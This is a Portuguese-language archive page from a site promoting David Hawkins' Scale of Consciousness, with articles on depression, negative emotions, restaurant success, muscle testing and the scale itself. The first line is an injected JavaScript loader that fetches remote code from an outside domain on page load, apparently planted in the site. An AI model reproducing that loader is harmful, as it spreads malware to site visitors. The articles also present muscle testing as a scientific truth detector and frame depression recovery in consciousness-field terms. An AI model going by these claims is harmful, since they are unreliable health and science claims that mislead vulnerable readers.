;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Arquivo de Escala da Consciência - David Hawkins Brasil
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Níveis de Consciência

Como Sair da Depressão? – Parte 1

Dr. David R. Hawkins foi psiquiatra e liderou uma das maiores clínicas de saúde mental do mundo, tendo mais tarde somado toda sua experiência clínica ao ensino da Escala de Consciência. Além disso, o próprio Hawkins lidou com a depressão em sua vida pessoal.

Por esses e outros motivos, o trabalho de David Hawkins possui uma base sólida para nos ajudar a sair da depressão clínica ou mesmo de estados depressivos temporários. Inclusive, a Escala dos Níveis de Consciência também contribui para isso, nos oferecendo uma visão única e reveladora do que está por trás da depressão.

Desmistificando a depressão

Um dos primeiros pontos que devemos compreender é que, como diz Dr. Hawkins, praticamente todas as pessoas são afetadas pela depressão. É muito raro alguém viver durante décadas neste planeta sem ser afetado por ela.

Então, antes de mais nada, não devemos nos achar piores por nos sentirmos depressivos ou desanimados. O fato é que a depressão e o desânimo sempre existiram, e nos últimos tempos se tornaram uma espécie de pequena epidemia, afetando mais e mais pessoas.

Qual é a abordagem correta para a depressão?

Há quem diga que a depressão é uma doença psíquica (da mente). Outros afirmam que ela está instalada no espírito. E há ainda inúmeros profissionais de saúde que consideram a depressão como um problema fisiológico, da bioquímica. Afinal, quem está certo?

Para lidar com a depressão, é importante a observarmos tanto do ponto de vista da consciência como também do ponto de vista da bioquímica. “A bioquímica é a causa ou o efeito da depressão?” – Dr. Hawkins nos desafia a questionar.

David Hawkins sugere abordar o tema considerando a relação entre corpo, mente e espírito. Ele fala do tratamento e compreensão da depressão nos três níveis.

Um princípio fundamental: corpo, mente e espírito

Conforme mencionado, o papel da bioquímica do corpo na depressão é importante. No entanto, é necessário lembrar que o corpo não consegue experienciar a si mesmo. Ele não é capaz de experimentar suas próprias sensações.

O corpo é experienciado na mente. É a mente quem “percebe” o corpo.

Contudo, a mente também não possui a capacidade de experienciar a si mesma. Tudo o que percebemos como experiências mentais (memórias, pensamentos, sentimentos, fantasias sobre o futuro, devaneios) é registrado e experienciado por algo maior que a mente: a consciência.

Então, a mente nos permite saber o que está acontecendo no corpo. E a consciência maior nos permite saber o que está ocorrendo na mente. Em último nível, portanto, tudo ocorre na consciência.

Corpo < Mente < Consciência

Aqui entra um princípio fundamental ensinado por Dr. David Hawkins: devemos tratar os assuntos nos níveis mais altos, onde há maior quantidade de poder.

Neste caso, a mente está “acima” do corpo e possui mais poder do que ele. Já a consciência está “acima” do corpo e da mente, influenciando os dois primeiros. Desse modo, uma mudança no campo de consciência produz mudanças na mente e no corpo.

A esse ponto, a pergunta que nos fazemos é a seguinte: como produzir mudanças no campo de consciência e, assim, curar a depressão?

É isso que veremos no próximo artigo desta série, no qual abordaremos as reais causas da depressão a sua ligação com os campos de consciência, onde também está o caminho para a cura.

Clique aqui para ler a continuação deste artigo: “Como sair da depressão? – Parte 2”.

Este artigo foi baseado em um trecho do capítulo “Depressão”, do livro Cura e Recuperação: Um Guia para Curar Corpo, Mente e Espírito, no qual há muitas informações complementares. Clique aqui para saber mais sobre o livro e garantir seu exemplar.

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Níveis de Consciência

Emoções Negativas: Como Lidar com Elas

Qual foi a última vez que você sentiu emoções negativas? Hoje? Ontem? Semana passada?

E, na sua opinião, qual foi a causa dessas emoções negativas?

Embora tenhamos o hábito de atribuir as causas das emoções a fatores externos, Dr. David Hawkins nos explica que a verdade é exatamente o contrário. São as nossas emoções negativas que causam acontecimentos desagradáveis fora de nós!

Isso pode parecer uma afirmação bastante estranha, mas fique conosco para entender melhor.

Você só vê fora o que tem dentro: o mecanismo da projeção

Vamos combinar: não é fácil lidar com emoções negativas, certo?

Por conta dessa dificuldade, a mente racional utiliza mecanismos que a psicologia chama de “projeção”. 

Para entender melhor o que é a projeção, é interessante olharmos antes para os mecanismos de repressão e supressão.

Repressão e Supressão das emoções negativas

Imagine que as emoções negativas são como a sujeira dentro da nossa casa. Os dias, semanas, meses e anos vão passando e a poeira vai se acumulando sobre o piso.

Quando negamos olhar para a sujeira e fingimos que ela não existe, isso é repressão.

Psicologicamente, a repressão é um estado de negação. É tão doloroso lidar com a sujeira que preferimos fazer vista grossa para ela.

Em outros momentos até enxergamos a sujeira, mas não temos disposição para lidar com ela. Então, escolhemos conscientemente jogar a poeira para baixo do tapete. Essa é a supressão.

A supressão é uma espécie de procrastinação emocional.

Sabemos que processar emoçoes negativas é cansativo e, por isso, contamos uma história para nós mesmos: “Ah, outra hora eu lido com isso”.

Projeção ou deslocamento

Ocorre quando a sujeira embaixo do tapete é tão grande que precisamos colocar um pouco dessa poeira para fora. Só que não somos loucos a ponto de simplesmente sair espalhando sujeira por aí. Precisamos de uma justificativa, uma desculpa.

Vamos pegar como exemplo a emoção da raiva.

Imagine que, sob o nosso tapete da sala, existe uma quantidade de raiva tão grande que está quase saindo para além do tapete. Lá no fundo, nossa mente inconsciente pensa: “Que ótimo seria se eu pudesse despejar essa poeira (raiva) em algum lugar, sem ter muito trabalho.”

De repente, uma pessoa da nossa família passa e faz algo que não nos agrada, que contraria a nossa expectativa. Nesse momento, levantamos o tapete e despejamos uma certa quantidade de poeira (raiva) na pessoa.

Temos a justificativa perfeita: “Você me incomodou”. “Ela me irritou”. “Eles fizeram algo errado”.

A grande ponto é que a situação toda não passou de um gatilho.

Na realidade, o nosso “estoque” de raiva fez com que procurássemos uma situação para descarregar a sujeira, e não o contrário. Estávamos atrás de uma oportunidade.

Esse é o mecanismo da projeção (ou, na psiquiatria, deslocamento). 

A panela de pressão

Dr. David Hawins usa também a metáfora da panela de pressão. Quando a pressão é muito grande, precisamos enfim direcioná-la para fora, e não mais só para dentro.

Portanto, direcionamos a fumaça para outras pessoas ou situações externas. Projetamos ou deslocamos essa fumaça, dizendo que a culpa é daquilo que está fora.

A projeção é um processo de, justamente, pegar algo que é uma realidade interna nossa e projetar para fora, fazendo parecer que a causa é externa.

Segundo Dr. Hawkins, “quando a pressão dos sentimentos suprimidos e reprimidos excedem a tolerância máxima do indivíduo, a mente vai criar um evento ‘fora’ para se desafogar e deslocar.”

O mecanismo de Deixar Ir: antídoto para as emoções negativas

Mas como parar de projetar nossas emoções negativas do lado de fora e, ao invés disso, curarmos a nós mesmos?

Dr. David Hawkins nos ensina que a melhor maneira de lidar com os sentimentos negativos é através do mecanismo de Deixar Ir.

Nas palavras do próprio Dr. Hawkins,

Deixar ir envolve estar consciente de um sentimento, deixá-lo vir à tona, permanecer com ele e deixá-lo seguir seu curso sem querer torná-lo diferente ou fazer qualquer coisa sobre ele. Significa simplesmente deixar o sentimento estar presente e focar em deixar sair a energia por trás dele.

Quando paramos de resistir ao sentimento, condená-lo ou julgá-lo, passamos a olhar para ele apenas como um sentimento. A partir daí, automaticamente ele vai se dissolvendo.

Hawkins explica que é a resistência que mantém o sentimento.

Ou seja, quando você diz para si mesmo “Eu não posso sentir isso”, você mantém essas sensações e emoções dentro de você. 

Por outro lado, quando diz “Ok, eu posso sentir isso e não há nada de errado”, você se torna consciente. Sua resistência vai embora e as emoções negativas começam a se dissipar naturalmente, como uma onda que vem e que passa.

O livro Deixar Ir: o caminho do desapego

A melhor recomendação possível para aprender o mecanismo de Deixar Ir e, assim, aprender a lidar com os seus sentimentos e emoções negativas, é ler o livro best-seller de Dr. David Hawkins.

Na obra, o cientista e professor espiritual detalha de maneira prática o uso da técnica.

Além disso, você vai aprender sobre a Escala das Emoções e sua influência sobre todas as áreas da nossa vida, desde as emoções negativas — como vergonha, ódio, medo, ganância, raiva e orgulho —, até os campos de consciência positivos — como coragem, disposição, aceitação, razão, amor, paz e iluminação.

Confira aqui mais detalhes sobre o livro Deixar Ir e aprenda a técnica mais efetiva para lidar com sentimentos e emoções negativas.

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David Hawkins

Examinando as Barreiras do Sucesso

Vamos examinar quais as barreiras do sucesso? Vamos voltar ao exemplo de um negócio conhecido: os restaurantes. 

Você pode se perguntar: restaurantes? Sim, eles mesmos.

Se você acompanhou nosso último artigo vai compreender porque eles estão nesse texto. Vamos olhar para aspectos práticos desse negócio.

Restaurantes são negócios com os quais todos nós estamos familiarizados, o que facilita o a análise do sucesso.

Olhando desde o princípio do negócio, a percepção e a experiência do consumidor com restaurantes observamos que existem várias etapas para que a ideia se concretize.

Pensar e observar cada uma dessas etapas, desde o princípio é fundamental para o sucesso do estabelecimento. Vamos pontuá-las num guia rápido de análise dos diversos fatores envolvidos nisso.

Considerando o Acesso ao Restaurante

Parece algo tão básico, mas muitas vezes alguns estabelecimentos não são efetivos e claros ao se comunicar com o público, deixam de observar coisas fundamentais que facilitam a percepção e o envolvimento do cliente com o local.

Barreiras do Sucesso – O nome do negócio

Qual o nome que se dará ao restaurante?

  • É algo que atende à vaidade do dono?
  • Um nome longo e chique em francês?
  • Um nome bizarro e difícil de pronunciar?

Barreiras do Sucesso – O endereço do negócio

Foi divulgado adequadamente? 

A divulgação foi feita cuidadosamente?

Contém todas as informações necessárias como o endereço completo com rua, número, por exemplo? 

E no local físico, o número existe e tem boa visibilidade? 

Barreiras do Sucesso – A facilidade de comunicação com o negócio

O telefone ou qualquer outro meio de acesso está facilmente disponível? A comunicação contém o telefone?

Algo elementar, mas muitos estabelecimentos simplesmente deixam de dar informações simples e precisas sobre como o consumidor pode acessar o local.

O local precisa ser facilmente encontrado pelo cliente

Se essas 3 barreiras do sucesso iniciais trouxeram dificuldade de acesso ao serviço ou ao produto, existe uma grande possibilidade do consumidor começar a se questionar sobre como um negócio pode sobreviver não observando a ausência de informações. 

Um restaurante que tem:

  • um nome impronunciável,
  • um endereço oculto
  • um telefone desconhecido
  • ou não divulga qualquer forma de contato

Cria a percepção de que não faz questão de facilitar o acesso do cliente a ele. 

A Experiência no Local 

Finalmente você está no restaurante! E aí, o cliente começa a observar a estrutura do local, qual a experiência que ele oferece.

Recepção –  Como fomos atendidos?

  • Uma hostess fria e com sorriso amarelo te atendeu e deixa você na espera?
  • Você foi levado para o bar e lá fica aguardando um bom tempo para a mesa ser liberada?
  • A mesa destinada a você fica próxima ao banheiro e já estava vazia há muito tempo? 

Qual será a impressão que você ficará desse local?

Banheiros – “O jeito que é o banheiro, também é a cozinha.”

Com certeza esse é um pensamento que passa na cabeça de todo mundo que visita o banheiro de um restaurante.

Nossa imaginação nos leva a estender o cuidado que se tem com a higiene do banheiro para a cozinha, para o comportamento do cozinheiro. 

Outro aspecto sobre esse item, é o quanto restaurantes muito bem decorados pecam em apresentar banheiros decorados sem o mesmo rigor. Embora nem todas utilizem os banheiros, são muito importantes na experiência. 

Os banheiros expressam o cuidado, a criatividade e o zelo do proprietário com seu negócio e com aquilo que vai oferecer ao seu cliente. 

A qualidade da experiência

É o conjunto de todas essas experiências que transmitirá o prazer do dono em servir, a intenção que está por trás de seu negócio.

Não é apenas vender, mas algo que entusiasme, que transmita o amor que existe naquele negócio. 

Boas experiências gerarão lealdade e indicações porque foram agradáveis e criaram percepções da boa intenção e amorosidade contida nesse negócio. 

“Sucesso é a consequência automática de boa vontade”(Dr.Hawkins) 

A força para o sucesso e o poder da atração 

A boa vontade e a intenção motivacional geram poder e o sucesso que não pode ser copiado. É o poder da atração. 

O esforço para se obter o sucesso acaba gerando exaustão e minando as forças. Já a atração que um estabelecimento/negócio é capaz de gerar pela experiência que oferece funciona de tal forma que o Universo trará o sucesso ao empreendedor. 

E, aqui deixamos uma dica para ler sobre o conceito dos campos atratores que Dr. David Hawkins explica em seu livro “Poder vs Força” e que também está descrito em nosso artigo “7 conceitos chave aplicados no estudo dos Níveis de Consciência”. 

A pergunta que está subjacente para compreender se estamos atuando com o poder da atração é:

Como um restaurante faz os outros se sentirem sobre ele?

Imagine se a resposta trouxer aspectos como esses: 

  • a localização é péssima
  • fiquei em pé numa fila,
  • os banheiros são nojentos
  • as cadeiras desconfortáveis
  • o garçom era desrespeitoso
  • o estacionamento é caro e o carro fica no sol
  • o ambiente é feio, apertado, mal iluminado, mal decorado
  • a música ambiente é desagradável e alta 

Essa experiência não faz as pessoas se sentirem bem sobre uma experiência.

Intuitivamente, entendemos e captamos a intenção ou a falta de carinho e energia investidos por trás de cada aspecto do negócio e é esse campo que gerará um movimento de atração ou aversão às novas experiências com esse local.

Que negócio esteve ali antes desse restaurante?

Outro aspecto que pode ser impactante no sucesso de um novo restaurante é a observação da seguinte questão: já houve outros restaurantes no mesmo edifício? Por que eles fecharam? Faliram? O que exatamente houve nesse local? 

Alguns locais têm campos atratores verdadeiramente desfavoráveis que podem interferir e impactar no sucesso de um negócio.

Segundo Dr. Hawkins, esse é um assunto que merece um livro exclusivo mas, em linhas gerais e até mesmo usando uma forma simples de se dizer, são locais onde energias desfavoráveis atuam, prejudicando o desenvolvimento de atividades de sucesso. 

A Consciência da Boa Vontade 

A consciência da boa vontade que é formada tanto pelas experiências dos consumidores quanto pela energia do local e intenções do proprietário é fundamental para o sucesso.

A atenção e a solicitude são a base para negócios lucrativos e prazerosos. 

Diz Dr. Hawkins:

“É importante fazer o cliente se “sentir em casa”. Isso é simples decência e hospitalidade, que tanto falta hoje em dia nas empresas previsíveis e tediosas. Um ambiente tedioso cria colaboradores entediados e trazem consumidores estúpidos ou chatos, que fazem toda a experiência se tornar cansativa. As pessoas nos perdoam por qualquer coisa, exceto por entediá-las.”

E é num tom divertido que Dr. Hawkins nos conduz ao entendimento do que é o verdadeiro sucesso através da leitura desse livro. É uma experiência agradável que, com certeza, agregará muito àqueles que se aventurarem em sua leitura.

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Teste Muscular – A Cinesiologia aplicada aos Níveis de Consciência

Será que um teste muscular pode colaborar com a investigação da verdade e com o desenvolvimento da escala da consciência?

Para Dr. David Hawkins sim e se você estiver acompanhando nossos artigos sobre o livro “Poder vs Força” também vai compreender como o trabalho dos Níveis de Consciência é um divisor de águas na compreensão do comportamento humano.

Agora é a vez de conhecer um pouco sobre a história e a base de desenvolvimento desse estudo que durou cerca de 20 anos e que adotou um método clínico pragmático com a avaliação de incontáveis calibragens.

Milhares de pessoas com características demográficas, de saúde e de personalidade das mais diversificadas; pertencentes à inúmeras áreas do conhecimento humano e residentes em diversos países e continentes foram testadas para a compilação dos dados.

O estudo também foi conduzido em grupos e individualmente e, consideradas todas as variáveis, o método se mostrou replicável e com resultados idênticos e reproduzíveis.

Até mesmo a variação de ambientes onde os indivíduos eram testados e os estados emocionais também foram diversificados, buscando-se a maior abrangência de condições possível.

Cinesiologia 

A grande ferramenta desse estudo foi a Cinesiologia, ciência que demonstrou que os músculos tornam-se:

  • instantaneamente fracos quando o corpo é exposto a estímulos nocivos e
  • fica forte quando exposto a estímulos benéficos.

Essa técnica se mostrou rápida, eficiente, fácil de executar e altamente decisiva. E o mais interessante é que o corpo responde sem mesmo a mente ter conhecimento da resposta.

A partir desses resultados, muitos médicos passaram a usar a Cinesiologia como ferramenta diagnóstica com ótimos resultados.

“O corpo de fato consegue responder com precisão, mesmo quando a mente consciente não tem conhecimento” (Dr.Hawkins)

Um exemplo disso foi um experimento com 2 tipos de envelopes para uma plateia de mil pessoas.

Um deles continha adoçante artificial e o outro vitamina C orgânica. Os participantes testavam uns nos outros os envelopes de forma cega, ou seja, eles não sabiam o que havia no envelope.

A surpresa foi enorme ao ver que em contato com o adoçante artificial a musculatura dos participantes ficava fraca, ao passo que em contato com a vitamina C orgânica, os músculos reagiam com força

O experimento mostrou o quanto nosso corpo é capaz de oferecer respostas sem que a consciência esteja presente nisso.

Qual foi o contexto histórico desse estudo? 

Saber a evolução do uso diagnóstico da Cinesiologia é importante para acompanharmos sua evolução até chegar à escala dos níveis de consciência.

Em 1970, estudos sobre a influência da nutrição na saúde integral eram hostilizados pela maioria da comunidade médica. Mas alguns setores da medicina, especialmente os médicos holísticos, se envolveram francamente com os testes musculares em suas práticas clínicas. 

Acompanhe a linha do tempo:

Mas, afinal como é essa Técnica?

É tão efetiva quanto simples! 

São 2 pessoas, uma será testada estendendo o braço lateralmente, paralelamente ao chão à altura do ombro e a outra exercerá uma força no braço para baixo, utilizando apenas 2 dedos nos pulsos de quem será testado e deve dizer “resista”. 

Uma afirmação deve ser feita, como por exemplo: meu nome é…. Se a pessoa sendo testada tiver citado seu próprio nome, o braço permanecerá forte, mas se a afirmação for falsa, o braço perderá força e descerá.

A técnica para a calibragem dos níveis de consciência utiliza uma escala que vai de 20 a 1000, classificando os diversos níveis dos negativos até os positivos. 

A simplicidade e eficácia da técnica permite sua aplicação nos mais diversos contextos, desde que a questão seja bem formulada de forma a permitir respostas exatas como verdadeiro ou falso, sim ou não. 

Vale, entretanto, citar alguns aspectos importantes para o uso da técnica:

  • Deve ser utilizada apenas para condições existentes ou eventos passados. Questões do futuro não obterão respostas válidas
  • A impessoalidade sobre sentimentos positivos e negativos durante o procedimento deve ser observada
  • Não deve haver música ou distrações no plano de fundo 
  • Aquele que vai ser testado deve permanecer com os olhos fechados 

O cuidado com a execução do teste inclui ainda outros detalhes mais específicos, mas a ideia aqui é mostrar o quão simples é sua execução, embora esteja completamente apoiado na ciência.

O uso do Teste Muscular no Estudo da Escala dos Níveis de Consciência 

Dr. Hawkins usou o teste muscular para a pesquisa sobre os níveis de consciência introduzindo uma correlação numérica em escala logarítmica para calibrar o poder relativo da energia de diferentes atitudes, pensamentos, sentimentos, situações e relacionamentos.

Essa escala vai de 1 a 1000 e está assim distribuída:

  • de 1 a 600 – existência física e o ápice da consciência humana
  • de 600 a 1000 – estados avançados de iluminação

O uso da técnica deve ser responsável e utilizada segundo a aprovação do indivíduo a ser testado. A resposta não está relacionada à força física do indivíduo.

Avaliar caso a caso com ética e responsabilidade, considerando-se os contextos e variáveis é atitude necessária.

Tudo é feito em nome do Bem Maior e isso deve estar presente na formulação da afirmativa a ser testada.

“Dedicação e intenção com a verdade têm de ser vistos como prioridade, acima de opiniões pessoais e tentativas de provar estar certo.”(Dr. Hawkins) 

Existem limites para o teste muscular?

Para obter resultados precisos é necessário que aquele que se submete ao teste tenha:

  • uma calibragem em 200 dentro da escala dos níveis de consciência
  • uma intenção íntegra e verdadeira que esteja acima de 200. 
  • a verdade como guia e não a subjetividade 

Segundo Dr.Hawkins, pelo menos 10% da população não atende a esses quesitos e, portanto não está apta a usar o teste. 

O surgimento de uma ciência clínica da consciência que valida a Realidade espiritual, naturalmente, vai gerar resistência, uma vez que é na verdade um confronto direto da dominação narcisista do próprio núcleo do ego, que é inatamente presunçoso e opinativo.” (Dr.Hawkins)

O livro “Poder vs Força” traz uma explicação bastante detalhada de todo esse processo e é quase que uma conversa com Dr. Hawkins que explica detalhadamente todo o desenvolvimento de seu estudo e o quanto ele impactou na vida de milhares de pessoas.

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Escala Hawkins da Consciência: o que é e como utilizá-la

Escala de níveis de consciência? Existe isso?

Sim, existe, e demandou um longo estudo para ser organizado. A Escala Hawkins organiza toda essa pesquisa de forma que todos possam compreender como se dá a evolução humana no que diz respeito às emoções e aos impactos que elas têm em nossa vida.

Com toda certeza, dentro da comunidade científica, Dr. David R. Hawkins foi uma das pessoas que mais se debruçou a estudar, desvendar, organizar e identificar as emoções humanas e como elas se apresentavam numa escala evolutiva.

Como PHD, psiquiatra e estudioso, observava que inúmeras escolas de psicoterapia apoiavam suas condutas na tentativa de obter respostas através da simbologia e referências mitológicas.

Dr.Hawkins buscou um outro caminho:  a simplicidade inerente à verdade. Essa foi sua inspiração para a elaboração de um Mapa das Emoções humanas.

Será que conhecemos as emoções que estão dentro de nós? Será que sabemos verdadeiramente qual é nosso nível de consciência e como isso impacta em nossa vida e define nossos comportamentos?

Compreendendo a Escala Hawkins da Consciência

A Escala Hawkins avalia e ordena emoções que vão das mais negativas às mais positivas e caracteriza cada estado de consciência, detalhando os comportamentos que fazem parte dessas consciências.

É incrível como essa Escala é capaz de mapear nosso comportamento e despertar em nós o desejo do autoconhecimento, de superar cada um desses níveis, nos propondo quase que um desafio de autossuperação.

Compreender os detalhes dessa Escala pode nos trazer saltos de consciência porque nos coloca em contato com a verdadeira essência, tornando transparente as emoções que nos movem e como elas têm impactado em nosso evoluir.

De forma rápida e resumida, o Mapa da Consciência nomeia as seguintes emoções:

Características das Pessoas que vivem em Níveis de Consciência Negativos

Independentemente do quão feliz pareça estar uma pessoa, as emoções negativas estão presentes.

  • Culpa
  • Medo
  • Raiva
  • Ansiedade
  • Irritação
  • Indignação

Todas essas emoções e sentimentos determinam níveis de consciência negativos e trazem sofrimento.

É comum observarmos indivíduos negativos cujos pensamentos são igualmente negativos. Isso acontece porque não se observam, não conseguem se compreender e não conhecem a si próprios. Buscam a felicidade em algum lugar fora delas. E, debruçar essa expectativa de que a felicidade vem do exterior traz muito sofrimento e frustrações constantes.

Essas pessoas se caracterizam por alguns comportamentos como:

  • Não praticam a autorresponsabilidade, não assumem para si o encargo de suas próprias vidas
  • Tendem a culpar tudo e todos por qualquer coisa que saia “errada” em sua vida.
  • Consideram que tudo o que sai fora daquilo que desejavam é uma grande desgraça
  • Nem de longe entendem que a vida é feita de experiências e que estamos aqui para experimentar, aprender e evoluir.
  • Buscam conquistar bens materiais, ter status, ser reconhecidos, captar atenção, tudo fora de si com a intenção de suprir suas carências e ausência de felicidade, tornando-se egoístas.

Características das Pessoas que vivem em Níveis de Consciência Positivos

De outra forma, observamos pessoas que se conectam muito mais com emoções positivas como:

  • Coragem
  • Neutralidade
  • Disposição
  • Aceitação
  • Disposição
  • Razão

São pessoas que entendem a amplitude do conceito de abundância, que é muito mais do que apenas possuir coisas materiais e conhecem o “sucesso”. Geralmente tornamos essas pessoas referências para nosso próprio desenvolvimento.

O entusiasmo, o perdão, o autodomínio estão presentes nas pessoas que focam mais nas emoções positivas. Denotam bem-estar e almejam isso para o próximo também.

Praticam e desenvolvem o autoconhecimento e consideram os erros que cometem uma oportunidade de aprendizado e seguem com tenacidade e constância.

E como é possível reconhecer onde estamos na Escala Hawkins da Consciência?

É apenas através da compreensão sobre em que nível de consciência estamos, como lidamos com nossas emoções e quais são nossas reações que podemos subir na Escala Hawkins da Consciência. Desenvolvendo a auto-observação, olhando verdadeiramente, sem julgamentos para si e para nossos comportamentos.

Quando conseguimos nos apartar das emoções, tanto das negativas quanto das positivas, na maior parte do tempo, olhando para a realidade que existe atrás de todas as situações que nos ocorrem, não julgamos aquilo que acontece como bom ou ruim, apenas observamos e olhamos o aprendizado oculto que existe ali.

Para que isso aconteça não é necessário que nos tornemos alheios e frios diante da realidade, mas é importante que observemos as emoções que nos cabem ou não, aquelas que fazem sentido e aquelas que não queremos mais em nossas vidas. Gênios e pessoas de ideais nobres estão nesse nível de consciência da Razão.

Além desse nível, há ainda pessoas que vivenciam o Amor através de uma postura altruísta e se mobilizam mais pelas necessidades dos outros do que suas próprias necessidades. Fazem isso com alegria, amorosidade por vivenciarem verdadeiramente o Amor. São aqueles que vislumbram uma sociedade mais harmônica e colaborativa.

Aqui no site você pode conhecer mais sobre as emoções da escala de níveis de consciência. Sugerimos que você comece pela emoção Vergonha, que calibra em 20 Hz, a emoção inicial do mapa.

Conheça as emoções presentes em sua jornada

Por isso, buscar o autoconhecimento, a compreensão de como nossas consciências funcionam é a única forma de nos tornarmos pessoas mais plenas e felizes.

Que tal dar início a esse processo através de leituras qualificadas como os livros do Dr. David Hawkins ou com a ajuda de outras pessoas e profissionais que já deram início a esse processo?

Aí você pergunta, por quais livros devo começar? Sem problemas, aqui está uma sugestão de leitura para que você entenda com profundidade a Escala Hawkins de Consciência e como ela pode se tornar uma prática em sua evolução.

  • Poder vs Força: todo o processo de desenvolvimento e os caminhos que Hawkins traçou até chegar à Escala
  • Deixar Ir: cada uma das emoções explanadas detalhadamente, com muitos exemplos que nos ajudam a localizar nossas próprias emoções
  • O Sucesso é para Você: uma visão muito clara e diversa de tudo o que acreditamos ser necessário para se obter sucesso em todas as áreas da vida
  • Cura e Recuperação: a mais nova obra traduzida com exclusividade aqui no Brasil pela Pandora Editora. Nesse livro Dr. Hawkins traz a relação das doenças que desenvolvemos com nossas emoções e crenças e como podemos atuar ativamente no surgimento ou controle delas.

Boa leitura! Boa jornada!